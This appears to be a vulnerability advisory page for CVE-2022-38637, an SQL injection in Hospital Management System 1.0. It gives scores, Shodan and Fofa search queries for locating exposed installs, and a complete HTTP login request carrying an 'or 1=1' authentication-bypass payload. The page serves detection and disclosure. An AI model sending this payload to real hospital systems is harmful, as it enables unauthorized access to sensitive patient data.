🔙 목록으로 돌아가기

CVE-2022-38637: Hospital Management System 1.0 - SQL Injection

TitleHospital Management System 1.0 - SQL Injection
Authorarafatansari
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.19954
CVE IDCVE-2022-38637
CWE IDCWE-89
Shodan Queryhttp.html:"Hospital Management System"http.html:"hospital management system"
Fofa Querybody="hospital management system"
Tags cve cve2022 hms cms sqli auth-bypass hospital_management_system_project vuln

🔍 Vulnerability Description

Hospital Management System 1.0 contains a SQL injection vulnerability via the editid parameter in /HMS/user-login.php. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST /hms/user-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Content-Length: 91
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

username=admin%27+or+%271%27%3D%271%27%23&password=admin%27+or+%271%27%3D%271%27%23&submit=

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-38637.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-38637.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A